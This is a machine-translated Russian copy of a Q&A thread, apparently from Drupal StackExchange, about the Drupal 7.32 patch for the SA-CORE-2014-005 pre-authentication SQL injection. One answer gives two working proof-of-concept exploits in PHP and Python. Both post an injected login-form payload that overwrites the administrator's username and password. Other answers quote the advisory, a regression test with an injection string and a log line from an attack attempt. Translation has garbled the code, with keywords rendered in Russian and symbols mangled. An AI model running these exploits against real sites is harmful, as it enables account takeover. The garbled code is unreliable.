Какие атаки удаляет патч для SA-CORE-2014-005 (Drupal 7.32)?

Чтение на https://www.drupal.org/node/2357241 и технические детали в https://www.drupal.org/SA-CORE-2014-005 , а также фактический патч который просто:

diff --git a /includes /database /database.inc b /includes /database /database.inc
индекс f78098b..01b6385 100644
--- a /includes /database /database.inc
+++ b /includes /database /database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection расширяет PDO {
     //развернуть его в набор заполнителей с разделителями-запятыми.
     foreach (array_filter ($ args, 'is_array') в виде $ key => $ data) {
       $ new_keys = array ();
- foreach ($ data as $ i => $ value) {
+ foreach (array_values ​​($ data) как $ i => $ value) {
         //Это предполагает, что нет других заполнителей, которые используют один и тот же
         //имя. Например, если заполнитель массива определяется как: пример
         //и уже есть: example_2 placeholder, это будет генерировать

Мне интересно, какой может быть запрос, который использует этот эксплойт?

33 голоса | спросил Charlie Schliesser 15 +04002014-10-15T20:27:29+04:00312014bEurope/MoscowWed, 15 Oct 2014 20:27:29 +0400 2014, 20:27:29

6 ответов


18

Компания, которая обнаружила ошибку, имеет несколько примеров на Консультация 01/2014: Уязвимость Drupal - pre Auth SQL Injection :

Extract:

  

Функция предполагает, что она вызывается с массивом, который не имеет ключей. Пример:

db_query ("SELECT * FROM {users}, где name IN (: name)", array (': name' => array ('user1', 'user2')));
     

В результате SQL-запрос

SELECT * от пользователей, где имя IN (: name_0,: name_1)
     

с параметрами name_0 = user1 и name_1 = user2.

     

Проблема возникает, если в массиве есть ключи, которые не являются целыми числами. Пример:

db_query ("SELECT * FROM {users}, где name IN (: name)", array (': name' => array ('test -' => 'user1', 'test' => 'user2')));
     

это приводит к использованию SQL-запроса:

SELECT * FROM users WHERE name =: name_test -,: name_test И status = 1
     

с параметрами: name_test = user2.

     

Поскольку Drupal использует PDO, допускается использование нескольких запросов. Таким образом, эта SQL-инъекция может использоваться для вставки произвольных данных в базу данных, сброса или изменения существующих данных или для удаления всей базы данных.

     

С возможностью ВСТАВКИ произвольных данных в базу данных злоумышленник может выполнять любой PHP-код через функции Drupal с обратными вызовами.

ответил Hans Rossel 15 +04002014-10-15T23:33:50+04:00312014bEurope/MoscowWed, 15 Oct 2014 23:33:50 +0400 2014, 23:33:50
19

Что происходит с 7.32 . Проверяя модуль тестирования. Вы можете увидеть, что следующий тест был добавлен в 7.32;

+
+ /**
+ * Протестируйте SQL-инъекцию через аргументы массива запросов базы данных.
+ * /
+ public function testArrayArgumentsSQLInjection () {
+ //Попытка SQL-инъекции и убедитесь, что она не работает.
+ $ condition = array (
+ "1; INSERT INTO {test} SET name = 'test12345678'; -" => '',
+ '1' => '',
+);
+ попробуйте {
+ db_query ("SELECT * FROM {test} WHERE name =: name", array (': name' => $ condition)) -> fetchObject ();
+ $ this-> fail («попытка SQL-инъекции через аргументы массива должна приводить к ошибке PDOException.»);
+}
+ catch (PDOException $ e) {
+ $ this-> pass («попытка SQL-инъекции через аргументы массива должна приводить к ошибке PDOException.»);
+}
+
+ //Проверьте, что запрос вставки, который использовался при попытке инъекции SQL,
+ //не приводит к вставке строки в базу данных.
+ $ result = db_select ('test')
+ -> условие ('name', 'test12345678')
+ -> countQuery ()
+ -> выполнить ()
+ -> fetchField ();
+ $ this-> assertFalse (результат $ result, попытка SQL-инъекции не привела к тому, что в таблицу базы данных вставлена ​​строка).);
+}
+

Это должно дать некоторое представление о том, как совершить атаку.

Доказательство концепции Поскольку прошло более чем достаточно времени, и в дикой природе есть много PoC.

Poc # 1 - PHP

& л;? PHP

$ url = 'http://www.example.com'; //URL-адрес веб-сайта (http://domain.com/)
$ post_data = "name [0% 20; обновление + пользователи + набор + имя% 3D'admin '+, + pass +% 3d +'". urlencode ('$ S $ CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g'). « '+ Куда UID +% 3D +' 1' ;; #% 20% 20] = test3 & амп; название [0] = тест & амп; пройти = тест & амп; test2 = тест & амп; form_build_id = & амп; form_id = user_login_block & амп; оп = Вход + в «;

$ params = array (
'http' => массив (
'method' => 'ПОСЛЕ',
'header' => «Content-Type: application /x-www-form-urlencoded \ r \ n»,
'content' => $ post_data
)
);
$ ctx = stream_context_create ($ params);
$ data = file_get_contents ($ url. '? q = node & destination = node', null, $ ctx);

if (stristr ($ data, 'mb_strlen () ожидает, что параметр 1 будет строкой') & & $ data) {
echo "Успех! Войдите в систему с именем пользователя \" admin \ "и паролем \" admin \ "в {$ url} user /login";
} else {
echo "Ошибка! Либо сайт не уязвим, либо ваш Интернет не работает.";
}

Poc # 2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
импортировать urllib2, sys
от drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv [1]
user = sys.argv [2]
password = sys.argv [3]
если len (sys.argv)! = 3:
    напечатать «пароль пользователя хоста»
    печать "http://nope.io admin wowsecure"
hash = DrupalHash ("$ S $ CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", пароль) .get_hash ()
target = '% s /? q = node & destination = node'% host
post_data = "name [0% 20; update + users + set + name% 3d \ '" \
            + пользователь \
            + "'+, + pass +% 3d +'" \
            + hash [: 55] \
            + "+ Куда UID +% 3D + \ '1 \' ;; #% 20% 20] = боб & амп; название [0] = Larry & амп; передать = лол & амп; form_build_id = & амп; form_id = user_login_block & амп; оп = Вход + в"
content = urllib2.urlopen (url = target, data = post_data) .read ()
если "mb_strlen () ожидает параметр 1" в содержании:
        print «Успех! \ nВойти сейчас с пользователем:% s и передать:% s»% (пользователь, пароль)

Вот блог, который делает хороший сбой: http://www.volexity.com/blog/?p = 83

ответил Digital fire 16 +04002014-10-16T01:03:54+04:00312014bEurope/MoscowThu, 16 Oct 2014 01:03:54 +0400 2014, 01:03:54
16

У исследователей, которые нашли ошибку, есть доказательство концепции. Другие также разработали доказательства концепции. Тем не менее, они целенаправленно не публикуют их, чтобы попытаться уменьшить вероятность того, что они будут широко использоваться. Мы должны уважать это исследование и сдержанность, а не приводить примеры здесь.

По прошествии некоторого времени, и сайты будут обновлены, тогда с научной точки зрения будет очень интересно пересмотреть код атаки с концептуальной концепцией. До тех пор это лишний риск и внимание.

Код в Консультации SektioinEins не являются полностью разработанными примерами того, как ее использовать. Они детализируют слабость, но не точно определяют, как реально использовать проблему.


Прошло уже несколько недель с момента выпуска этой проблемы, и SektionEins опубликовала несколько концептуальных концепций на их блог . Это довольно интересно по сравнению со многими другими доказательствами концепции, которые были разработаны, поскольку они оставляют очень мало следов их активности (например, ничего в таблице menu_router).

ответил greggles 15 +04002014-10-15T23:36:43+04:00312014bEurope/MoscowWed, 15 Oct 2014 23:36:43 +0400 2014, 23:36:43
4

Я могу подтвердить, что эта уязвимость будет работать с каждым сайтом Drupal 7.31 и ниже, не имеет значения, какие модули активны. Для использования этой уязвимости можно использовать любую форму drupal.

Exploit довольно прост, поэтому PoC уже вышел в дикую природу. Я смог атаковать собственный сервер и сменить пароли пользователей как анонимного пользователя в чистой установке Drupal, но возможности бесконечны.

Эта ошибка была известна почти год назад через https://www.drupal.org/node/2146839 , но никто из Drupal Core Security Team не ответил.

ответил Pari 16 +04002014-10-16T14:27:10+04:00312014bEurope/MoscowThu, 16 Oct 2014 14:27:10 +0400 2014, 14:27:10
4

Я задавался вопросом, как это можно использовать и сколько времени и усилий потребуется? Поэтому я решил установить более старую версию Drupal 7 на моем локальном хосте и реконструировать эту ошибку. Я обнаружил, что это шокирующая ошибка, которая дает всем, кто имеет базовые знания о HTML /SQL, полный доступ к вашему сайту Drupal.

Мне удалось выполнить SQL-инъекцию в Drupal 7 с помощью анонимного пользователя менее чем за 30 минут!

http: //www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

ПРИМЕЧАНИЕ. Это все равно не позволит вам войти в систему, поскольку Drupal использует SHA512 с солью, поэтому его невозможно зарегистрировать. Преднамеренно я не вводил код здесь, но, очевидно, кто-нибудь из немногих знаний Drupal будет знать, как преодолеть это и построить запрос, который даст вам полный доступ!

Это открывает вопрос о том, насколько безопасен Drupal и кто несет ответственность за что-то вроде этого? По-видимому, эта ошибка была известна более года ( https://www.drupal.org/node/2146839 ), но никто не реагировал на Drupal.org. Случайно или преднамеренно? :)

ответил tamerzg 16 +04002014-10-16T18:44:18+04:00312014bEurope/MoscowThu, 16 Oct 2014 18:44:18 +0400 2014, 18:44:18
1

Это исправление уязвимости SQL-инъекции, в которой вредоносные операторы SQL вставляются в поле ввода для выполнения, и это может привести, например, к выпуску содержимого базы данных. Это исправление важно применять как можно скорее, особенно потому, что эта уязвимость может быть использована анонимными пользователями.

Если вы не можете сразу обновить команду безопасности, вы можете применить этот патч , который обеспечит такую ​​же защиту, пока вы не сможете выполнить полное обновление 1 . Также команда безопасности подготовила FAQ , относящуюся к этой проблеме. Размещение вашего сайта в режиме обслуживания не поможет и очистить кеш после применения обновления или убедиться, что вы используете 7.32.

Кроме того, вы должны проверить, не поврежден ли ваш сайт. Некоторые сайты уже сообщают о проблемах. Вот это одно сообщение в блоге, в котором предлагается, как вы можете проверить Обновление Drupal 7.32 недостаточно, ваш сайт уже может быть взломан

Я применяю исправление 15 октября, и мои сайты уже сообщили, что кто-то пытается использовать уязвимость

PDOException: SQLSTATE [42000]: Синтаксическая ошибка или нарушение доступа: 1064 У вас есть ошибка в синтаксисе SQL; проверьте руководство, соответствующее версии вашего сервера MySQL, для правильного синтаксиса для использования рядом с '' larry 'AND status = 1' в строке 1: SELECT * FROM {users} WHERE name =: name_0,: name_1 AND status = 1; Массив ([: name_0] => bob [: name_1] => larry) в user_login_authenticate_validate () (строка 2149
ответил cayerdis 17 +04002014-10-17T21:24:24+04:00312014bEurope/MoscowFri, 17 Oct 2014 21:24:24 +0400 2014, 21:24:24

Похожие вопросы

Популярные теги

security × 330linux × 316macos × 2827 × 268performance × 244command-line × 241sql-server × 235joomla-3.x × 222java × 189c++ × 186windows × 180cisco × 168bash × 158c# × 142gmail × 139arduino-uno × 139javascript × 134ssh × 133seo × 132mysql × 132